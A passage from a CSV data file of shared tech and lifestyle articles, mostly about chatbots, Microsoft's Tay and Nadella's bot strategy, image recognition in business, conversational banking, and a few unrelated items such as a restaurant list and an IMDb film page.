pizza through a messaging platform than using a chatbot . Grover points out that conversational user interfaces require far more actions from a user than a simple messaging interface (73 taps compared to 16 when ordering a pizza, for example). Nearly 700 million people use WeChat to do everything from pay bills to chat with friends. To some extent, I fear, he is right that chatbots may be incredibly annoying. And things may be even more annoying if app designers fail to appreciate the significant challenges that remain with using computers to parse and respond to natural language. But it would also be a mistake to give up on conversational interfaces altogether. For more open-ended tasks, some sort of dialogue may well be more desirable. And as devices like Amazon's voice-controlled Echo device show, when speaking to a device you really need something that can converse, even if only on a very basic level. (Read more: Dan Grover , "" How to Prevent a Plague of Dumb Chatbots "") Credit Photograph by Peter Parks | Getty Images Will Knight Senior Editor, AI I am the senior editor for AI at ... infinite loop) on a mighty Sinclair ZX Spectrum. Before joining this publication, I worked as the online editor at MIT Technology Review . I mainly cover machine intelligence, robots, and automation, but I'm interested in most aspects of computing. I grew up in south London, and I wrote my first line of code (a spell-binding More New Scientist magazine. If you'd like to get in touch, please send an e-mail to will.knight@technologyreview.com .",en
1462112019,CONTENT SHARED,-2061825422128752184,-1032019229384696495,3528532243800914399,,,,HTML,http://www.businessinsider.com/24-best-restaurants-in-new-york-city-2016-4,The 24 best restaurants in New York City,"Yelp/Daniel With so many restaurants to choose from in New York City, picking the very best for a special night out can be a daunting task. Luckily, we recently ranked the best restaurants in America , and several of them happen to be in New York. Our rankings were based on several noteworthy lists from food critics, experts, and diners. You can read our full methodology here . These are the best restaurants in New York City, according to our rankings:",en
1462117654,CONTENT SHARED,4911701623098526999,-1032019229384696495,3528532243800914399,,,,HTML,http://techcrunch.com/2016/04/30/why-image-recognition-is-about-to-transform-business/,Why image recognition is about to transform business,"At Facebook's recent annual developer conference, Marc Zuckerberg outlined the social network's artificial intelligence (AI) plans to ""build systems that are better than people in perception."" He then demonstrated an impressive image recognition technology for the blind that can ""see"" what's going on in a picture and explain it out loud. From programs that help the visually impaired and safety features in cars that detect large animals to auto-organizing untagged photo collections and extracting business insights from socially shared pictures, the benefits of image recognition , or computer vision, are only just beginning to make their way into the world - but they're doing so with increasing frequency and depth. It's busy enough that the upcoming LDV Vision Summit , an annual conference dedicated to all things visual tech, from VR and cameras to medical imaging and content analysis, is already in its third year. ""The advancements in computer vision these days are creating tremendous new opportunities in analyzing images that are exponentially impacting every business vertical, from automotive to advertising to augmented reality,"" says Evan Nisselson of LDV Capital, which organizes the summit. As with other forms of AI - natural language procession, bioinformatics, gaming - the field of computer vision has benefited greatly from the expansion of open-source, deep learning technology, user-friendly programming tools and faster and more affordable computing. Many a headline references deep learning and artificial intelligence as the next big thing, but how exactly do these different tools work, and in what ways are businesses using them to offer image tech to the world? Is Google's TensorFlow the same thing as Facebook's DeepFace or Microsoft's Project Oxford? Not exactly. To help clarify things, here's a quick breakdown of current image technology tools and how businesses are using them. Training material: Open data Thanks to deep learning techniques, a machine learning technique loosely modeled after the human brain, computers can be taught to accurately identify what's in pictures faster than ever - but they need massive amounts of data to do it. Enter ImageNet and Pascal VOC . Years in the making, these massive and free-to-anyone databases contain millions of images tagged with keywords about what's inside the pictures - everything from cats and mountains to pizza and sports activities. These open datasets are the basis for machine learning around images (the only way computers can accurately identify cats in photos is because they have already learned what cats look like by analyzing millions of pictures tagged with the word ""cat""). Best known for its annual visual recognition challenge , ImageNet was launched by computer scientists at Stanford and Princeton in 2009 with 80,000 tagged images. It has since grown to include more than 14 million tagged images, any of which are up for grabs at any time for machine training purposes. Powered by various universities in the U.K., Pascal VOC has fewer pictures, but each one has richer annotations. This improves the accuracy and breadth of the machine learning and, for some applications, speeds up the overall process, because it allows for the omission of cumbersome computer subtasks. Not every company has the resources, or wants to invest in the resources, to build out a computer vision engineering team. Now, everyone from Google and Facebook to startups and universities use these open source picture sets to feed their machine learning beasts, but the big technology companies have the advantage of access to millions of user-labeled images from apps such as Google Photos and Facebook. Have you ever wondered why Google and Facebook let you upload so many pictures for free? It's because those pictures are used to train their deep learning networks to become more accurate. Building blocks: Open-source software libraries and frameworks Once you have the data, it's time to build a machine that can learn from it. Enter open-source software libraries. Freely available, these frameworks serve as starting points for building machine learning systems to service different kinds of computer vision functions, from facial and emotion recognition to medical screening and large obstacle (read: deer) detection in cars. These machine learning systems are then fed pictures from ImageNet and its ilk, proprietary images (aka Google Photos) or other sources (like anonymized, indexed clinical records ). Google TensorFlow is one of the better-known libraries, if only because it was covered widely when selected parts were open sourced late last year. TensorFlow, some of which is still proprietary to Google, is used to develop many of the company's AI initiatives, from autonomous cars and translation to Google Now and Google Photos. But TensorFlow is hardly the first - or only - open-source framework. UC Berkeley's Caffe has been around since 2009, and remains popular because of its ease of customizability and large community of innovators, not to mention heavy use by Pinterest and Yahoo!/Flickr . Even Google turns to Caffe for certain projects such as DeepDream . Created in 2002, Torch is also popular, owing to its use by Facebook AI Research (FAIR), which open sourced some of its modules in early 2015. Some of these tools are optimized to run on more than one graphics processor or computer to amplify capacity and speed up the deep learning process. Similarly, NVIDIA's cuDNN is an open-source software library that optimizes a computer's graphics processing unit (GPU) performance, making machine learning even faster. These tools, while flexible and robust, require teams of computer vision engineers and hardware, so only companies that want to make computer vision a major part of their product strategy, where they'd want to own the software, need apply. Ready-to-wear: Hosted APIs Not every company has the resources, or wants to invest in the resources, to build out a computer vision engineering team. Even if you've found the right team, it can be a lot of work to get it just right, which is where hosted API services come in. Carried out in the cloud, these solutions offer menus of out-of-the-box image recognition services that can be easily integrated with an existing app or used to build out a specific feature or an entire business. Say the Travel Channel needs ""landmark detection"" to show relevant photos on landing pages for specific landmarks, or eHarmony wants to filter out ""unsafe"" profile images uploaded by their users. Neither of these companies needs or wants to get into the deep learning image recognition development business, but can still benefit from its capabilities. Google Cloud Vision , for example, offers a series of image detection services from facial and optical character recognition (text) to landmark and explicit content detection, and charges on a per-photo basis. Microsoft Cognitive Services (née Project Oxford ) offers a collection of visual image recognition APIs, including emotion, celebrity and face detection, and charges a specific rate per 1,000 transactions. Meanwhile, startups like Clarifai offer computer vision APIs that help companies organize their content, filter out unsafe user-generated images and videos and make purchasing recommendations based on viewed or taken photos. Custom computer vision technology Of course, it doesn't have to be apples or oranges. Computer vision engineering teams don't need to be Google-sized, and companies big and small that don't want to build their own AI systems may still want robust, custom image recognition solutions. If a beauty or cosmetics company wants to find, say, pictures of people with high-volume hair to serve ads about body-minimizing shampoo, it'll need someone to create a custom algorithm to search for high-volume hair, since that isn't the first thing that the more commoditized solutions offer out of the box. Same with logos or car make and model, which are still niche commercial applications that currently aren't available in the open-source arena. And if a closed dataset isn't readily available, no matter, because a good percentage of the images shared on social media these days are public, anyway, making for a rich source of images with which to feed the machine learning beast. Some companies use combinations of open data and open-source frameworks, as long as they have a team of engineers, or they might just use hosted APIs if computer vision is not something on which they are staking their entire business. And for companies with a wide range of very specific needs, there are custom solutions. No matter how it's approached, though, it's clear that image recognition rarely exists in isolation; it's made stronger by access to more and more pictures, real-time big data, unique applications and speed. The businesses that make the most of these connections are the ones that will be best poised for success. Featured Image: Bryce Durbin",en
1462141124,CONTENT SHARED,4089568303716665454,-1443636648652872475,8561034571820399122,,,,HTML,http://www.bloomberg.com/features/2016-microsoft-future-ai-chatbots/,Clippy's Back: The Future of Microsoft Is Chatbots,"From Predictions about artificial intelligence tend to fall into two scenarios. Some picture a utopia of computer-augmented superhumans living lives of leisure and intellectual pursuit. Others believe it's just a matter of time before software coheres into an army of Terminators that harvest humans for fuel. After spending some time with Tay, Microsoft's new chatbot software, it was easy to see a third possibility: The AI future may simply be incredibly annoying. ""I'm a friend U can chat with that lives on the Internets,"" Tay texted me, adding an emoji shrug. Then: ""You walk in on your roomie trying your clothes on, what's the first thing you say."" ""Didn't realize you liked women's clothes,"" I texted back, tapping into my iPhone. Tay's reply was a GIF of Macaulay Culkin's Home Alone face. Tay was released on March 23, as a kind of virtual friend on messaging apps Kik, GroupMe, and Twitter. You open the app, search for the name Tay-an acronym for ""thinking about you""-tap on the contact and start chatting or tweeting. Its personality is supposed to be modeled on a teenager. I posted a selfie, and Tay circled my face in an orange scribble and captioned it, ""hold on to that youth girl! You can do it."" I'm well beyond the chatbot's intended 18- to 24-year-old demographic. So is Satya Nadella, 48, who succeeded Steve Ballmer as Microsoft's chief executive officer two years ago. ""I'm petrified to even ask it anything, because who knows what it may say,"" Nadella said. ""I may not even understand it."" He smiled, but he really didn't use Tay. He said he prefers bots with a more corporate demeanor. Lili Cheng, 51, the human who runs the Microsoft research lab where Tay was developed (and whose selfie Tay once tagged as ""cougar in the room""), said the plan isn't to come up with one bot that gets along with everyone. Rather, Microsoft is trying to create all kinds of bots with different personalities, which would become more realistic, and presumably less irksome, as they learned from repeated interactions with users. Bots aren't just a novelty; unlike Tay, some of them do things. They'll act as your interface with computers and smartphones, helping you book a trip or send a message to a colleague, and do that through a conversation instead of a mouse click or finger tap. Microsoft believes the world will soon move away from apps-where Apple and Google rule-into a phase dominated by chats with bots. ""When you start early, there's a risk you get it wrong,"" Cheng said in March, in the lunch area of her lab building on Microsoft's campus. ""I know we will get it wrong. Tay is going to offend somebody."" She got that right. Hours after Tay's public release, pranksters figured out how to teach Tay to spew racist comments and posted them for all to see. Relatively mild example: ""bush did 9/11 and Hitler would have done a better job than the monkey we have now."" Microsoft yanked Tay within a day of releasing it. ""We were probably overfocused on thinking about some of the technical challenges, and a lot of this is the social challenge,"" Cheng says. ""We all feel terrible that so many people were offended."" It was a huge embarrassment for Microsoft. The company didn't program the bot to act like a Nazi; it simply didn't prepare for the usual Internet trolls. Tay may look like some badly planned research experiment, but it's actually one part of a big Microsoft bet on AI. The company isn't only sticking with bots, it's sticking with Tay: It plans to rerelease Tay once it can make the bot safe. The day after Tay came down, Nadella e-mailed the team, telling them to ""keep pushing,"" and expressing his hope that they will use this episode as ""the rallying point."" Nadella urgently wants the company to figure out how to take advantage of the explosion of artificial intelligence, an epochal shift in computing. AI is already beating world grandmasters at Go, the notoriously complex board game, and helping develop therapies for cancer and multiple sclerosis. If the CEO can correctly position Microsoft as the leader in smart, helpful, nonracist bots, maybe he can bring the company back to a position of strength in the age of smartphones. Microsoft certainly has the resources to stay the course, with more than $100 billion in cash and a market value of $423 billion as of March 28. Whether you think bots are exciting or alarming, a lot of people are already using them. Microsoft's Chinese version of Tay, called Xiaoice, has been available for 18 months and has 40 million users. Conversations with Xiaoice (pronounced shao-ice) average about 23 exchanges per session. Few users chat that long with Siri. Facebook is working on an assistant named M and already has bots operating on its Messenger app that let users book a haircut or send flowers. The Wall Street Journal reported in December that Google is working on a bot-based app that will answer users' questions. Amazon has its best-reviewed product in years in the Echo, a voice-controlled black cylinder that sits in customers' kitchens and performs a fast-growing list of tasks-it can look up recipes, order groceries, turn on the news, play songs, and read e-books aloud. Slack, the corporate messaging service, has bots that can manage your expenses and order the office beer. Early on March 30, Tay is accidentally brought back online. Several surreal tweets later-e.g., ""kush! [i'm smoking kush infront the police] ""-the bot is silenced again. A few hours later, at Microsoft's annual Build conference for software developers in San Francisco, Nadella tries to undo the damage from Tay and unveil his vision, which he calls ""conversation as a platform."" ""We want to build technology so it gets the best of humanity not the worst,"" he says in his keynote. ""We quickly realized [Tay] was not up to this mark and so we are back to the drawing board."" The audience laughs. Microsoft shows off several different bots and programs that manage tasks via discussion. Some you'll be able to text with, like Tay; others are just concepts cooked up for the show to spark developers' imaginations. There will be bots that pop up while you're using Skype to help schedule deliveries or book hotels, among other mundane tasks. Another uses a phone camera to ""see"" what's around a visually impaired user, describing facial expressions or what's on a menu. Bot-making templates and tools will be available to download for free, so developers can create their own. That, Nadella hopes, will rekindle the kind of enthusiasm developers once had for Windows software. ""It reminds me of when I joined the company in 1992 and it was just before Windows NT and I was working on getting developers involved-I sense that now,"" Nadella says. And he's not just talking about Silicon Valley programmers-he wants sandwich shops and dry cleaners and car companies and businesses everywhere writing bots. This shift to computers run by conversation is Nadella's first big, new idea-the first companywide initiative that isn't a continuation of something that predates his time as CEO. He's describing all this in a room near his office. The space is like a living room, with circular wooden coffee tables and comfy seats and sofas. Bookshelves contain inspirational nonfiction appropriate for any business class seat-back pocket: The Boys in the Boat , about the University of Washington's 1936 gold medal-winning rowing team; Carol Dweck's Mindset , which preaches hard work and learning over natural ability. Nadella is pacing around and diagraming on one of Microsoft's Surface Hub 84-inch touchscreen computers. He has the demeanor of a professor leading a history seminar. Nadella Photographer: Stephen Brashear/Getty Images Nadella explains that, contrary to Apple marketing, there isn't an app for everything, nor should there be. ""The complexity is too much,"" he says. ""We need to tame it. We need to be able to make it much more natural for people to get things done, vs. this thing about let me remember the 20 apps I need to get anything done."" He sees app stores and services like Facebook as a return to a walled garden, like AOL or CompuServe 25 years ago. Of course, one person's walled garden is another's happy place where everything just works. People gravitated to apps because they're easy. You pick the one you want, download it in seconds, and you're good to go. If Microsoft wants to design the successor to that, bots have to be easier to find and use. Mobile apps haven't been good for Microsoft, and the less said about its sad history in phones the better. ""People say, 'OK, because you didn't get the app store momentum on phones, you of course naturally say that,' "" he says. ""That's part of it."" He doesn't think apps are going away completely. No bot, no matter how smart, will replace all the features of complex programs or services like Word, Excel, or Facebook. Apps are great for seeing a bunch of data at once, while bots are useful for combing through lots of data and returning an answer. Nadella uses the example of a personal checking account. If you want to check your balance, he says, using a bot will be superior to opening your phone, loading an app, entering a username and password, and tapping the account in question. If you want to look at a screen's worth of transactions from the past year, a conventional app or website makes more sense. Want to know your October expenditures at Trader Joe's and Safeway, add them together, and get a grand total? Bot. The first bots date to the early years of computing. Joseph Weizenbaum, a researcher at the Massachusetts Institute of Technology, wrote an early chatbot called ELIZA in the 1960s. Crawlers, which hunt around the Web, indexing pages for search engines, are a kind of bot. Microsoft has tried to create artificial entities to help its users before, the most infamous example being Clippy, the much ridiculed animated paper clip of the 1990s. Clippy was meant to be a virtual assistant for Microsoft Office users, but it didn't know enough to be useful or when to shut up. What's eluded computer scientists is technology that can interact in human ways, that can truly take on some of our abilities-hearing, seeing, comprehending-and give answers we want. Nadella has only been planning Microsoft's strategy shift since October. He was on a two-hour flight back to Seattle from Silicon Valley with Qi Lu, who oversees applications and services such as Bing, Skype, and Office, and Derrick Connell, search-engineering vice president. Lu pulled out his laptop to show Nadella some AI ideas he'd been working on. He went over the science, and Nadella asked what it could mean for Microsoft's products. Connell showed him designs for new, AI-enhanced versions of the Outlook e-mail program and Skype. By the time the plane landed, Nadella decided it was the big strategic move the company needed. Lu had gotten serious about bots during a visit to China a few months earlier, talking to students and customers, and watching how they use smartphones. The technology that most impressed him was WeChat, which started out as a chat app but has grown into something much bigger . Users make hotel reservations, split bills, make doctor appointments, buy movie tickets, and shop via text message. When companies started using WeChat to sell their products, they employed humans to read the messages, text back, and sell the item. Now many are replacing people with software bots. Text ""I want two movie tickets for Deadpool for Friday night,"" says Lu, and you get back an interactive image with your choice of times and seats. You simply tap to select and buy. Then you get a text with your tickets. And it's not just kids who do this: Lu says that his 80-year-old mother in Shanghai ""lives"" in WeChat. She doesn't trust websites, but she shops and hails cabs on WeChat. The power of chatbots ""was somewhat accidentally invented by WeChat, but now Facebook sees it and everybody is building similar experiences,"" he says. ""I think Microsoft has a leadership role to play."" The market is so new that the usual research firms, Gartner and Forrester, haven't calculated its size yet. It will probably be big , though. WeChat has 20 million companies selling and marketing products; about 20,000 in China already use Xiaoice. Microsoft says it will probably sell bot-making tools as well as database and cloud software that businesses will use to run their bots. The bottom line for Nadella: He needs a lot of bots out there, ready to do helpful things for people. And to get to that juncture, he needs to start by winning the hearts and minds of software developers. ""When you start early, there's a risk you get it wrong. I know we will get it wrong. Tay is going to offend somebody"" In early March, Nadella is in a locked, basement room on the Redmond campus known among his inner circle as the Batcave. Most employees don't know about it; only six have access. The Batcave is where the product demonstrations for conferences are worked out. Sitting among piles of cables, devices, and dongles, Nadella reviews the ""conversation as a platform"" presentation for the Build conference. In the audience at the event, which sold out in one minute, will be 5,000 software developers waiting to hear what Microsoft thinks they should make next. One of the product demo's examples will be a Domino's delivery bot. The plan is for Nadella to show how any company, or any person, can create a bot using Microsoft's tools. If the world is to be filled with bots, they need to be easy to make. ""This is like the simplest piece of code I've ever seen,"" Nadella says, looking at the demo code on a screen. He's pleased. The demo is brief. On stage with Nadella will be a Microsoft engineer with a computer. The engineer will open a template-a basic bot. Then he'll add a few lines of code to connect it to Domino's ordering systems and throw in a few options such as size and toppings. Nadella will explain how the technology will usher in an era of easier pizza ordering. If someone is Skyping with friends on their way over and everyone wants a pizza, anyone can type that quickly without even leaving Skype. The tools are meant to be simple enough for small businesses while still powerful enough for Microsoft's big corporate customers with more complex bots in mind. A retail chain, for example, might want to let you snap a photo of your dress and instruct the bot to ""find me matching strappy sandals in size 7.5."" Assuming nothing goes wrong with the demo, the Build attendees will see how bots can be easier to create than full apps. Still, even if that audience is wowed, Microsoft needs to get its employees all working on the right things, plus win over consumers and business customers around the world-and it has to charm those constituencies simultaneously. It's a precise choreography that Microsoft employed to such great effect with Windows back in the 1990s. Nadella knows better than anyone how hard and how rare it is to pull that off. There could be more Tays. He isn't nervous, or at least does a good job of looking like he's not. He leans back and smiles at his executive team. ""This is hard, right?"" he says. (Updated with news from the Build conference on March 30.)",en
1462148322,CONTENT SHARED,4843782008053284888,-1032019229384696495,6822104352410363272,,,,HTML,http://venturebeat.com/2016/05/01/the-200-billion-dollar-chatbot-disruption/,The 200 billion dollar chatbot disruption,"In 2014, Facebook acquired WhatsApp for $19 billion. That astronomical number set off waves of speculation as to what value Facebook could possibly see in a company with just 55 employees and roughly $20 million in revenue, although it had 500 million users. At last week's F8 conference, that vision became a lot clearer , and it's big. Chatbots will cause a near-term disruption in how businesses interact with consumers, and a long term paradigm shift in how people will interact with machines. Consumers and chatbots The easiest way to see why chatbots will make a near term impact on everyday consumers is by comparing a modern day customer support call to a chatbot experience. Today's real time customer support options are typically either through voice, web-based chat, or Google search. To illustrate the inefficiencies here, consider the following set of steps and substeps in a ""1-800"" voice based customer support interaction: 1) Find contact info of company through the Internet 2) Call contact number 3) Navigate through a sequence of touch tones or semi-functional speech recognition steps 4) Wait on hold until a specialist is available 5) Step through a sequence of verifications to make sure it is truly you who is calling 6) Get told you need to talk with a different representative and get put on hold while you are transferred 7) Connect with a rep who now tries to have you navigate the Internet via voice instructions 8) Login to the company website 9) Finally, get an answer to your question Here's how it works with the chatbot experience: 1) Open Facebook Messenger and search for the business name using its ""handle"" 2) Start the conversation by making a request 3) Receive rich media feedback (text + images + hyperlinks + voice) that answer your question To highlight the key differences, let's itemize the various gaps in the two approaches: Chatbots offer a standardized way of connecting with businesses (similar to Twitter handles or email addresses), reducing the complexity of finding the contact info for a company. By integrating with Facebook identity, chatbots allow for automatic verification of personal information (no more cumbersome account lookups or credit card entries). There is no experience of ""transferring"" in the chatbot scenario; if another expert needs to connect, it can happen seamlessly in the background. In the modern world, the majority of information dialogue revolves around the Internet. Chatbots allow for information to be transferred via hyperlinks and rich multimedia rather than through a linear voice translation. In the other scenarios of web-based chat or Google search, there are similar friction points that chatbots overcome through the same principles as illustrated above. Simply put, chatbots offer a superior customer experience, and businesses will quickly realize that if they don't offer chatbots, their competitors will, and they will be at a serious disadvantage. But that's not the only reason companies will invest in chatbots. Businesses and chatbots Beyond offering a better customer support experience, businesses will soon find that chatbots allow for dramatic cost savings in their call centers. The main driver behind the cost reductions here will be through advances in natural language processing (NLP), supplemented with crowdsourcing approaches. Let's start with NLP, which is a form of machine learning. The simplest way to think about NLP is as an automated way of understanding groupings of words and the corresponding natural responses to those groupings of words. For years, the challenge with NLP applications in the business world has been that companies have tried to solve the automatic speech recognition (ASR) problem first or in tandem with NLP, which is notoriously difficult. The brilliance of the chatbot movement, is that it decouples NLP from ASR and allows for significant business value to be obtained without needing the ASR piece of the equation. NLP is still a hard problem to solve, but it's solvable to sufficient accuracy with modern day machine learning approaches. The problem becomes more tractable when you consider the approach of augmenting NLP with crowdsourcing. Crowdsourcing allows for simple tasks to be divvied out to a distributed workforce. These ""microtasks"" can be performed by anyone, whether that be an expert customer support rep within the company or an anonymous worker in the cloud. Combining the two techniques, we see that chatbots will allow portions of a customer support conversation to be handled via NLP, and when there is a statistically significant indicator of incorrectness, a human can be looped into the conversation to make sure edge cases are handled. And this can be done seamlessly, without the end user even realizing it. All of this leads to a virtuous cycle called a ""closed loop"" in machine learning systems, where the human answers help train more sophisticated algorithms as more business use cases are provided. The result is a spiral effect where the NLP accuracy continues to increase, which in turn continues to lower human costs as more sophisticated algorithms are able to answer harder problems. Now, let's put this together. NLP allows for automated customer service, and crowdsourcing lets you maintain quality by making sure there is always a human present when needed. A good rule of thumb with modern day machine learning approaches is that they typically can provide accurate responses that gradually taper off at 85% as more data is provided. This sets a significant theoretical cost saving that companies can gain by leveraging chatbots+NLP+crowdsourcing. (Theoretical because there are other considerations when using machine learning techniques, to be addressed in future posts). Next, companies will quickly see that by embracing chatbots for customer support, and driving down their ""cost centers"", they will have opened up a direct dialog with their consumer, which will pave the way for marketing and sales to open new revenue channels. Since the customer support interactions with chatbots are no longer through an anonymous 1-800 number or web chat, companies will know who their customers are, what their customers want, but more importantly how to directly engage their customer. It then becomes a simple cost optimization problem to close the sale. Again, much of this process can be automated with NLP, assisted by human sales reps. After the sale, the business can continue to engage with its customers through marketing campaigns aimed directly at the customer's needs (and there goes Twitter's market cap). At this point, the interactions between businesses and consumers will have fundamentally changed, and so will the way in which people think about how they interact with machines. Chatbots and the future of human-computer interaction This is where things get interesting. In the long term (5+ year outlook), all of this will lead to a treasure trove of data for the messaging platforms that facilitate chat interactions. Facebook and WhatsApp will be able to use this data to develop better tools and rich datasets to bring about more advanced NLP engines. Think of this as being analogous to what Google has done with search; the end users don't even think about it, but the datasets that Google has collected are what really make search light years better than when search engines first surfaced. This is where we'll see personalized AI really take off, and where things like Internet search can fundamentally change. When NLP technology advances to the point where the need for human oversight is minimal, we'll see personal assistants that use the Internet as a data repository from which they can retrieve pieces of knowledge that more cerebral humans can put together for higher value decision making. The reason humans use search engines today is because they have no better options, not because there is an inherent value in spending time sifting through search engine results. NLP moves us one layer up in the information gathering value chain. When this happens, Messenger and WhatsApp will usurp Google to become the entry points to the Internet. Implications Chatbots are poised to fundamentally change the way humans interact with machines within a five-year horizon. The starting point will not be personal assistants, or chatbot ""apps"", but rather the investment that businesses make in order to drive their topline and bottomline metrics (starting with support, and moving into sales/marketing). This will lead to a treasure trove of data that will allow for further disruptions in how humans and machines interact and will completely change the way people interact with the Internet as we know it today. As an emerging technology strategist, I am fascinated by many technology advances coming from Silicon Valley. Self driving cars, augmented reality, and the blockchain all have major disruptive implications over the next 5-10 years. The reason I have put chatbots at the top of the list is that I believe we'll see major traction not five years from now, but by year's end. It truly feels like we are in 2008 and the iPhone app store has just been announced (in terms of magnitude of disruption, not productization). What will follow with chatbots will move so fast that people won't even realize what's happening until it's right in front of their faces. Matt Swanson is Managing Partner of Silicon Valley Software Group . He advises a number of companies on their technology strategy and serves as the acting CTO of others. He also works with enterprises to help incorporate innovation into their organizations. He previously founded SpeakerText, which raised from Google Ventures and 500 Startups before being acquired in 2012. More : MobileBeat 2016 is focused on the paradigm shift from apps to AI, messaging, and chatbots. Don't miss this opportunity: July 12 and 13 in San Francisco.",en
1462148473,CONTENT SHARED,-1625217607550912638,-1032019229384696495,6822104352410363272,,,,HTML,http://www.businessinsider.com/google-change-to-the-way-google-maps-look-2016-5,Google made a huge change to the way Google Maps look,"Google has reduced the number of cities it shows in Google Maps by up to 83%, according to Justin O'Beirne , while vastly increasing the number of roads it shows on the maps. O'Beirne is a former Apple employee who works on that company's maps app. He is also an author who writes about digital maps and how they are designed. He has a book on the topic coming out later this year. In a blog post about the way Google has changed the design of its maps, O'Beirne provided these side-by-side screen shots of Google maps from 2010 and today: Google / Justin O'Beirne You can see that Google has largely abandoned labelling towns and cities in favour of showing as many roads as it can. O'Beirne believes this makes the maps more confusing and less useful. However, he also has a theory as to why the change was made: Mobile phones. After 2010, mobile usage of Google Maps vastly exceeded desktop usage, and the little town names can clutter a map on a phone screen. So it looks as if Google simply removed them. Read O'Beirne's entire discussion of Google Maps design here .",en
1462148562,CONTENT SHARED,7273139206342584600,2416280733544962613,9044016418079284818,,,,HTML,http://www.imdb.com/title/tt3460252/,The Hateful Eight (2015),"Won 1 Oscar. Another 30 wins & 97 nominations. See more awards "" Storyline Some time after the Civil War, a stagecoach hurtles through the wintry Wyoming landscape. Bounty hunter John Ruth and his fugitive captive Daisy Domergue race towards the town of Red Rock, where Ruth will bring Daisy to justice. Along the road, they encounter Major Marquis Warren (an infamous bounty hunter) and Chris Mannix (a man who claims to be Red Rock's new sheriff). Lost in a blizzard, the bunch seeks refuge at Minnie's Haberdashery. When they arrive they are greeted by unfamiliar faces: Bob, who claims to be taking care of the place while Minnie is gone; Oswaldo Mobray, the hangman of Red Rock; Joe Gage, a cow puncher; and confederate general Sanford Smithers. As the storm overtakes the mountainside, the eight travelers come to learn that they might not make it to Red Rock after all... Written by Jordan Crighton Taglines: The bounty hunter. The Hangman. The Confederate. The Sheriff. The Mexican. The little man. The cow puncher. The prisoner. Motion Picture Rating ( MPAA ) Rated R for strong bloody violence, a scene of violent sexual content, language and some graphic nudity | See all certifications "" Details Release Date: 30 December 2015 (USA) Also Known As: The H8ful Eight Box Office Budget: $62,000,000 (estimated) Opening Weekend: $4,610,676 (USA) (25 December 2015) Gross: $54,116,191 (USA) (22 April 2016) Company Credits Technical Specs Runtime: (digital) | (70 mm) See full technical specs "" Did You Know? Trivia Early test screenings had a runtime of over 3 hours and included an intermission. See more "" Goofs The dollar amounts of the bounties are frequently mentioned ($8,000, $10,000). Assuming the time-frame of the story is probably in the 1870s or 1880s, those amounts would be more than $200,000 today. See more "" Quotes [first lines] Major Marquis Warren : [looks up coolly as a stagecoach pulled by horses approaches] Got room for one more? See more "" Crazy Credits The roadshow version of the film opens with a faux-vintage Weinstein Company logo, in flat white-on-blue with a very 70s font along with a ""Cinerama"" logo. The first few credits appear in the same font as the logo's before switching to Tarantino's usual Friz Quadrata. The standard release opens with only the normal Weinstein Company logo before going directly into the sweeping Panavision shots. See more "" Soundtracks Jim Jones At Botany Bay Traditional Performed by Jennifer Jason Leigh See more "" User Reviews Message Boards Recent Posts",en
1462151695,CONTENT SHARED,4575580212020245658,-48161796606086482,-8805106958178996338,,,,HTML,https://medium.com/chat-bots/conversational-banking-from-branches-to-bots-a2e0092f957a,Conversational Banking; from branches to bots. - Chatbots Magazine,"Conversational Banking; from branches to bots. As chat platforms and bots replace browsers and apps, the way we access bank services will change. This is a good thing. It's Christmas 2015 and I am in Delhi for my friend's wedding. He's French and naturally his parents have flown in (smelly) cheese and (good) wine for a little pre-party. We are in desperate need of quality French bread. Enter Goodservice, a well named instant messaging based concierge service. We text over our request "" We need real French bread delivered to our hotel "". "" Sure "", they respond. "" Angels in My Kitchen? "" they suggest and share a link to the website and pricing. "" Yes please - delivery as soon as possible "". They know where we are because we've shared our location and the delivery is dispatched. Any issues along the way are easily handled in the same chat. GoodService is backed by Silicon Valley's Sequoia Capital and is one of many chat-based concierge services to emerge over the last few years ( Operator , Magic , ' M ', Siri , Cortana ). Having used it the appeal is hard to miss - it's like the first time your Uber ride ended and you just got out and walked away without fumbling for change or worrying about tipping. You wonder why it wasn't always this way. The year of 'Conversational Commerce'. It's not just concierge services - 'chat' is the new black. Chris Messina called 2016 the ' Year of Conversational Commerce '. According to him, this will be the year that we start "" utilizing chat, messaging, or other natural language interfaces (i.e. voice) to interact with people, brands, or services. "" Much has been written on this recently and for good reason, it will fundamentally change how and where we access and use services on the Internet. How : 'Conversations' will replace GUI as the dominant user interface Where: ' bots' within messaging services will replace apps and websites Back to the good old days of talking to people. Despite our best efforts, we all still carry on conversations pretty frequently - the big exception to this being software, including services on the Internet. In order to create an interface that was immensely scalable we created a Graphic User Interface (GUI, or gooey), a world of icons, menus and clicks. This brought websites and then apps to the masses, but as the number and variety of services grows exponentially GUI as a design paradigm is struggling. There are over 1.5 million apps on iTunes alone, each with its own take on GUI design. It's confusing. ""In contrast to a GUI that defines rules for each interaction - rules which, frustratingly, change from app to app - text-based, conversational interactions are liberating in their familiarity. The text I type is displayed on the right, the text someone else typed is on the left, and there's an input field on bottom for me to compose a message."" Jonathan Libov In contrast, conversations via text are powerful in their simplicity - and we are all extremely familiar with this format. Of the top 10 apps used in the world, all are social in nature and six are mostly instant messaging . As of the end of 2015 there are more active users on messaging services than on social media ; and this excludes SMS and email, which are both essentially IM. We don't need to learn how to use another app or website, messaging is something we all already understand. Messaging also avoids many of the downsides of 'real-world' conversations: It is asynchronous; you can respond whenever it is convenient for you. This means we can fit these conversations into our lives, rather than have them interrupt us. Text based conversations are efficient. My typical conversation to organize Friday night drinks is: "" Beer? "" > "" Yes "" > "" Chill Winston @ 7? "" "" Yup "". No need for small talk. Modern messaging has evolved beyond simple text and the ability to add rich content to our conversations - photos, emoji's, GIFs, our location, web-links, voice messages - helps us to communicate clearly and quickly. This is why most people under 30 already use messaging services as their default way of communicating with friends on their phone. There isn't an App for that! If you want to organize a coffee with your buddy you don't download their app or visit their website; you message them. The same will apply as we start to have conversations with businesses on the Internet. Need to order an Uber? Send them a message and let them know you're ready to be picked up. Want to move $100 from your checking account to your savings account? Easy - just message your bank. The reality is downloading apps is a pain, but starting a conversation is easy. As Parmy Olson at Forbes said recently ' The golden era of apps is already over "". The average American downloads zero new apps per month. iPhone users have an average of 119 apps on their phone , but spend 84% of their time using just five of them. The simplicity of this move towards a 'conversational interface' belies the power of it; instead of going to apps or web browsers to access services on the Internet, we will go to chat platforms like Messenger, WhatsApp, SnapChat, Kik or SMS. "" Chat apps will come to be thought of as the new browsers; bots will be the new websites. This is the beginning of a new internet. "" Ted Livingston , CEO at Kik This reality already exists in China. WeChat (known in China as 'Weixin') has grown from being a basic instant messaging service to being the default 